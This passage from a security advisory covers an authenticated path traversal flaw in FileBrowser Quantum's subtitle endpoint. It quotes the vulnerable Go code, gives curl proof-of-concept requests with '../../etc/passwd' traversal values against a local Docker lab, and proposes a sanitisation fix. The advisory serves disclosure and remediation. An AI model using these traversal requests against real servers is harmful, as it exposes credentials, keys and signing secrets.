FileBrowser Quantum's path traversal issue in subtitle handler allows any authenticated user to read arbitrary files

2. name parameter used directly in filepath.Join — secondary vector (http/media.go:63)

name := r.URL.Query().Get("name")  // line 37 — raw user input
// ...
content, err = utils.GetSubtitleSidecarContent(
    filepath.Join(parentDir, name))  // line 63 — TRAVERSAL

filepath.Join(parentDir, "../../etc/passwd") resolves the .. components, escaping parentDir. This vector requires a valid file in scope as the path anchor.

3. GetSubtitleSidecarContent reads and returns file contents (common/utils/media.go:17-43)

func GetSubtitleSidecarContent(subtitlePath string) (string, error) {
    info, err := os.Stat(subtitlePath)        // follows the traversed path
    // size check: < 50MB
    isText, err := IsTextFile(subtitlePath)   // checks UTF-8 validity
    content, err := os.ReadFile(subtitlePath) // reads and returns content
    return string(content), nil
}

The only constraint is that the target file must be UTF-8 valid and under 50MB. Binary files silently return an empty string.

4. Endpoint is behind withUser but requires no special permissions

// httpRouter.go
api.HandleFunc("GET /media/subtitles", withUser(subtitlesHandler))

Any authenticated user can access this endpoint: no admin, modify, share, or download permission is required.

PoC

Vector 1: path traversal (no anchor file needed):

docker run -d --name filebrowser-q-lab -p 18080:80 gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18080/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18080/api/media/subtitles?path=../../etc/passwd&source=srv&name=passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Vector 2: name traversal (anchor file required):

mkdir -p /tmp/fbq-srv && echo "dummy" > /tmp/fbq-srv/poc.txt
docker run -d --name filebrowser-q-lab2 -p 18081:80 -v /tmp/fbq-srv:/srv gtstef/filebrowser:latest && sleep 3
TOKEN=$(curl -s -X POST "http://localhost:18081/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')
curl "http://localhost:18081/api/media/subtitles?path=/poc.txt&source=srv&name=../../etc/passwd&embedded=false&auth=$TOKEN"

Expected output: /etc/passwd contents with HTTP 200.

Impact

• Arbitrary file read: Any authenticated user can read any text file on the host filesystem that the server process has read permission for.
• No anchor file required: The path vector works on a default install with an empty storage root, so no existing file in scope is needed.
• Scope bypass: Scoped users (restricted to a subdirectory) can escape their scope via either vector and access files belonging to other users or the host system.
• Credential exposure: /etc/passwd, /etc/shadow (if running as root), SSH private keys, application configuration files with database passwords, API keys, and JWT signing secrets.
• Privilege escalation: Reading the JWT signing key from the database or config file enables forging admin tokens.
• No special permissions required: The endpoint only requires basic authentication: no admin, modify, share, or download permissions.

Recommended Fix

Apply SanitizeUserPath() to the path parameter and filepath.Base() to the name parameter:

// http/media.go, subtitlesHandler

// Sanitize path parameter (like all other handlers)
path, err := utils.SanitizeUserPath(path)
if err != nil {
    return http.StatusBadRequest, err
}

// Strip directory components from name to prevent traversal
name = filepath.Base(name)

SanitizeUserPath() rejects any .. segment. filepath.Base("../../etc/passwd") returns "passwd", preventing traversal via name. Additionally, consider adding a file extension allowlist to restrict name to subtitle formats (.srt, .vtt, .ass, .ssa, .sub) only.